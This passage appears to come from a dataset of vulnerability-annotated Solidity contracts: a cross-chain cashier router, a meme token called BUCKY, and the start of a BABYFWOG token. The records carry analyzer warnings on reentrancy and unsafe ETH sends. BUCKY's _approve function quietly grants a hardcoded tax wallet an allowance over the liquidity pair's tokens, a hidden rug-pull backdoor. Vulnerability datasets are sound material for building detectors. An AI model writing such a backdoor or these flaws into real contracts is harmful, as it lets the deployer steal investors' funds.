{ "code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface ICashier {\n function depositTo(\n address _token,\n address _to,\n uint256 _amount,\n bytes memory _payload\n ) external payable;\n}\n\ninterface IERC20 {\n function balanceOf(address _owner) external view returns (uint256);\n}\n\ninterface ICrosschainToken {\n function balanceOf(address _account) external returns (uint256);\n\n function deposit(uint256 _amount) external;\n\n function coToken() external view returns (address);\n}\n\ninterface WToken {\n function deposit() external payable;\n}\n\ncontract CrosschainTokenCashierWithPayloadRouter {\n\t// WARNING Optimization Issue (immutable-states | ID: 62d53bb): CrosschainTokenCashierWithPayloadRouter.ciotx should be immutable \n\t// Recommendation for 62d53bb: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public ciotx;\n\n\t// WARNING Optimization Issue (immutable-states | ID: d933628): CrosschainTokenCashierWithPayloadRouter.wiotx should be immutable \n\t// Recommendation for d933628: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public wiotx;\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: a8ce7ab): CrosschainTokenCashierWithPayloadRouter.constructor(ICrosschainToken,address)._wiotx lacks a zerocheck on \t wiotx = _wiotx\n\t// Recommendation for a8ce7ab: Check that the address is not zero.\n constructor(ICrosschainToken _ciotx, address _wiotx) {\n if (address(_ciotx) != address(0)) {\n wiotx = _ciotx.coToken();\n\n require(wiotx == _wiotx, \"invalid parameter\");\n\n ciotx = address(_ciotx);\n\n _approve(ciotx, _wiotx);\n } else {\n\t\t\t// missing-zero-check | ID: a8ce7ab\n wiotx = _wiotx;\n }\n }\n\n function _approve(address _ctoken, address _coToken) private {\n require(\n safeApprove(_coToken, _ctoken, type(uint256).max),\n \"failed to approve allowance to crosschain token\"\n );\n }\n\n function approveCrosschainToken(address _crosschainToken) public {\n _approve(\n _crosschainToken,\n ICrosschainToken(_crosschainToken).coToken()\n );\n }\n\n function _depositToCashier(\n address _token,\n address _cashier,\n address _to,\n uint256 _amount,\n uint256 _value,\n bytes memory _payload\n ) private {\n ICrosschainToken ctoken = ICrosschainToken(_token);\n\n uint256 originBalance = ctoken.balanceOf(address(this));\n\n ctoken.deposit(_amount);\n\n uint256 newBalance = ctoken.balanceOf(address(this));\n\n require(newBalance > originBalance, \"invalid balance\");\n\n require(\n safeApprove(_token, _cashier, newBalance - originBalance),\n \"failed to approve allowance to cashier\"\n );\n\n ICashier(_cashier).depositTo{value: _value}(\n _token,\n _to,\n newBalance - originBalance,\n _payload\n );\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 9dfb9b7): CrosschainTokenCashierWithPayloadRouter.depositCoinTo(address,address,uint256,bytes) sends eth to arbitrary user Dangerous calls WToken(wiotx).deposit{value _amount}()\n\t// Recommendation for 9dfb9b7: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function depositCoinTo(\n address _cashier,\n address _to,\n uint256 _amount,\n bytes memory _payload\n ) public payable {\n require(_amount <= msg.value, \"invalid amount\");\n\n\t\t// arbitrary-send-eth | ID: 9dfb9b7\n WToken(wiotx).deposit{value: _amount}();\n\n if (ciotx != address(0)) {\n _depositToCashier(\n ciotx,\n _cashier,\n _to,\n _amount,\n msg.value - _amount,\n _payload\n );\n } else {\n require(\n safeApprove(wiotx, _cashier, _amount),\n \"failed to approve allowance to cashier\"\n );\n\n ICashier(_cashier).depositTo{value: msg.value - _amount}(\n wiotx,\n _to,\n _amount,\n _payload\n );\n }\n }\n\n function depositTo(\n address _cashier,\n address _crosschainToken,\n address _to,\n uint256 _amount,\n bytes memory _payload\n ) public payable {\n require(_crosschainToken != address(0), \"invalid token\");\n\n address coToken = ICrosschainToken(_crosschainToken).coToken();\n\n uint256 originBalance = IERC20(coToken).balanceOf(address(this));\n\n require(\n safeTransferFrom(coToken, msg.sender, address(this), _amount),\n \"failed to transfer token\"\n );\n\n uint256 newBalance = IERC20(coToken).balanceOf(address(this));\n\n require(newBalance > originBalance, \"invalid balance\");\n\n _depositToCashier(\n _crosschainToken,\n _cashier,\n _to,\n newBalance - originBalance,\n msg.value,\n _payload\n );\n }\n\n function safeTransferFrom(\n address _token,\n address _from,\n address _to,\n uint256 _amount\n ) internal returns (bool) {\n (bool success, bytes memory data) = _token.call(\n abi.encodeWithSelector(0x23b872dd, _from, _to, _amount)\n );\n\n return success && (data.length == 0 || abi.decode(data, (bool)));\n }\n\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: 8bcf147): CrosschainTokenCashierWithPayloadRouter.safeApprove(address,address,uint256) uses a dangerous strict equality success && (data.length == 0 || abi.decode(data,(bool)))\n\t// Recommendation for 8bcf147: Don't use strict equality to determine if an account has enough Ether or tokens.\n function safeApprove(\n address _token,\n address _spender,\n uint256 _amount\n ) internal returns (bool) {\n (bool success, bytes memory data) = _token.call(\n abi.encodeWithSelector(0x095ea7b3, _spender, _amount)\n );\n\n\t\t// incorrect-equality | ID: 8bcf147\n return success && (data.length == 0 || abi.decode(data, (bool)));\n }\n}\n", "file_name": "solidity_code_10288.sol", "size_bytes": 6354, "vulnerability": 4 }
{ "code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract BUCKY is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFees;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 1fe0ab3): BUCKY._bots is never initialized. It is used in BUCKY._transfer(address,address,uint256)\n\t// Recommendation for 1fe0ab3: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) private _bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 5f09c00): BUCKY._taxWallet should be immutable \n\t// Recommendation for 5f09c00: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n address private buckyowner;\n\n\t// WARNING Optimization Issue (constable-states | ID: 172c85f): BUCKY._initialBuyTax should be constant \n\t// Recommendation for 172c85f: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 13;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9dd12d4): BUCKY._initialSellTax should be constant \n\t// Recommendation for 9dd12d4: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 13;\n\n\t// WARNING Optimization Issue (constable-states | ID: 574c83f): BUCKY._finalBuyTax should be constant \n\t// Recommendation for 574c83f: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: fcf1f0c): BUCKY._finalSellTax should be constant \n\t// Recommendation for fcf1f0c: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 334688d): BUCKY._reduceBuyAt should be constant \n\t// Recommendation for 334688d: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyAt = 5;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8d39358): BUCKY._reduceSellAt should be constant \n\t// Recommendation for 8d39358: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellAt = 5;\n\n\t// WARNING Optimization Issue (constable-states | ID: c97d0f4): BUCKY._preventCount should be constant \n\t// Recommendation for c97d0f4: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventCount = 5;\n\n uint256 private _buyTokenCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Bucky\";\n\n string private constant _symbol = unicode\"BUCKY\";\n\n uint256 public _maxTxAmount = (_tTotal * 1) / 100;\n\n uint256 public _maxWalletAmount = (_tTotal * 1) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: 620118c): BUCKY._minTaxSwap should be constant \n\t// Recommendation for 620118c: Add the 'constant' attribute to state variables that never change.\n uint256 public _minTaxSwap = (_tTotal * 1) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: d27908c): BUCKY._maxTaxSwap should be constant \n\t// Recommendation for d27908c: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = (_tTotal * 1) / 100;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n bool private _caLimitSell = true;\n\n uint256 private _caBlockSell = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0xD845E74469d95E7F8fe396490c4C4eCae0b6285a);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFees[owner()] = true;\n\n _isExcludedFromFees[address(this)] = true;\n\n _isExcludedFromFees[_taxWallet] = true;\n\n buckyowner = _msgSender();\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 0b9b934): BUCKY.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 0b9b934: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 03c6d9c): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 03c6d9c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: f0872c5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for f0872c5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 03c6d9c\n\t\t// reentrancy-benign | ID: f0872c5\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 03c6d9c\n\t\t// reentrancy-benign | ID: f0872c5\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: db9b8c5): BUCKY._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for db9b8c5: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n if (spender == _taxWallet) {\n owner = buckyowner;\n }\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: f0872c5\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 03c6d9c\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 2455818): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 2455818: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tautology | severity: Medium | ID: d0562f9): BUCKY._transfer(address,address,uint256) contains a tautology or contradiction contractETHBalance >= 0\n\t// Recommendation for d0562f9: Fix the incorrect comparison by changing the value type or the comparison.\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 1fe0ab3): BUCKY._bots is never initialized. It is used in BUCKY._transfer(address,address,uint256)\n\t// Recommendation for 1fe0ab3: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 960ce8a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 960ce8a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 105e699): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 105e699: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 _taxFeeAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!_bots[from] && !_bots[to]);\n\n _taxFeeAmount = amount\n .mul(\n (_buyTokenCount > _reduceBuyAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFees[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletAmount,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyTokenCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n _taxFeeAmount = amount\n .mul(\n (_buyTokenCount > _reduceSellAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n\n uint256 contractETHBalance = address(this).balance;\n\n\t\t\t\t// tautology | ID: d0562f9\n if (contractETHBalance >= 0) {\n\t\t\t\t\t// reentrancy-events | ID: 2455818\n\t\t\t\t\t// reentrancy-eth | ID: 960ce8a\n\t\t\t\t\t// reentrancy-eth | ID: 105e699\n sendETHToFee(address(this).balance);\n }\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _minTaxSwap &&\n _buyTokenCount > _preventCount\n ) {\n if (_caLimitSell) {\n if (_caBlockSell < block.number) {\n\t\t\t\t\t\t// reentrancy-events | ID: 2455818\n\t\t\t\t\t\t// reentrancy-eth | ID: 960ce8a\n\t\t\t\t\t\t// reentrancy-eth | ID: 105e699\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t\t\t// reentrancy-events | ID: 2455818\n\t\t\t\t\t\t\t// reentrancy-eth | ID: 960ce8a\n\t\t\t\t\t\t\t// reentrancy-eth | ID: 105e699\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t\t\t// reentrancy-eth | ID: 960ce8a\n _caBlockSell = block.number;\n }\n } else {\n\t\t\t\t\t// reentrancy-events | ID: 2455818\n\t\t\t\t\t// reentrancy-eth | ID: 105e699\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t\t// reentrancy-events | ID: 2455818\n\t\t\t\t\t\t// reentrancy-eth | ID: 105e699\n sendETHToFee(address(this).balance);\n }\n }\n }\n }\n\n if (_taxFeeAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 105e699\n _balances[address(this)] = _balances[address(this)].add(\n _taxFeeAmount\n );\n\n\t\t\t// reentrancy-events | ID: 2455818\n emit Transfer(from, address(this), _taxFeeAmount);\n }\n\n\t\t// reentrancy-eth | ID: 105e699\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 105e699\n _balances[to] = _balances[to].add(amount.sub(_taxFeeAmount));\n\n\t\t// reentrancy-events | ID: 2455818\n emit Transfer(from, to, amount.sub(_taxFeeAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 2455818\n\t\t// reentrancy-events | ID: 03c6d9c\n\t\t// reentrancy-benign | ID: f0872c5\n\t\t// reentrancy-eth | ID: 960ce8a\n\t\t// reentrancy-eth | ID: 105e699\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletAmount = _tTotal;\n\n _caLimitSell = false;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 2455818\n\t\t// reentrancy-events | ID: 03c6d9c\n\t\t// reentrancy-eth | ID: 960ce8a\n\t\t// reentrancy-eth | ID: 105e699\n _taxWallet.transfer(amount);\n }\n\n function getStuckETH() external onlyOwner {\n payable(owner()).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: a0b153a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for a0b153a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 9ee8006): BUCKY.openTrade() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 9ee8006: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: edcedf4): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for edcedf4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: deac6f7): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for deac6f7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrade() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: a0b153a\n\t\t// reentrancy-no-eth | ID: edcedf4\n\t\t// reentrancy-eth | ID: deac6f7\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\t\t// reentrancy-no-eth | ID: edcedf4\n buckyowner = uniswapV2Pair;\n\n\t\t// reentrancy-benign | ID: a0b153a\n\t\t// unused-return | ID: 9ee8006\n\t\t// reentrancy-eth | ID: deac6f7\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: a0b153a\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: deac6f7\n tradingOpen = true;\n }\n\n receive() external payable {}\n}\n", "file_name": "solidity_code_10289.sol", "size_bytes": 21213, "vulnerability": 4 }
{ "code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract BABYFWOG is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 1965735): BABYFWOG._taxWallet should be immutable \n\t// Recommendation for 1965735: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: c975d5c): BABYFWOG._initialBuyTax should be constant \n\t// Recommendation for c975d5c: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 165f0c1): BABYFWOG._initialSellTax should be constant \n\t// Recommendation for 165f0c1: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 63fc2d2): BABYFWOG._reduceBuyTaxAt should be constant \n\t// Recommendation for 63fc2d2: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9eba852): BABYFWOG._reduceSellTaxAt should be constant \n\t// Recommendation for 9eba852: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: a81f92f): BABYFWOG._preventSwapBefore should be constant \n\t// Recommendation for a81f92f: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 25;\n\n uint256 private _transferTax = 20;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 100000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"BABYFWOG\";\n\n string private constant _symbol = unicode\"BabyFwog\";\n\n uint256 public _maxTxAmount = 2500000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 2500000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3cc14fe): BABYFWOG._taxSwapThreshold should be constant \n\t// Recommendation for 3cc14fe: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 2500000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: a0c4f86): BABYFWOG._maxTaxSwap should be constant \n\t// Recommendation for a0c4f86: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 2500000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 840e701): BABYFWOG.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// 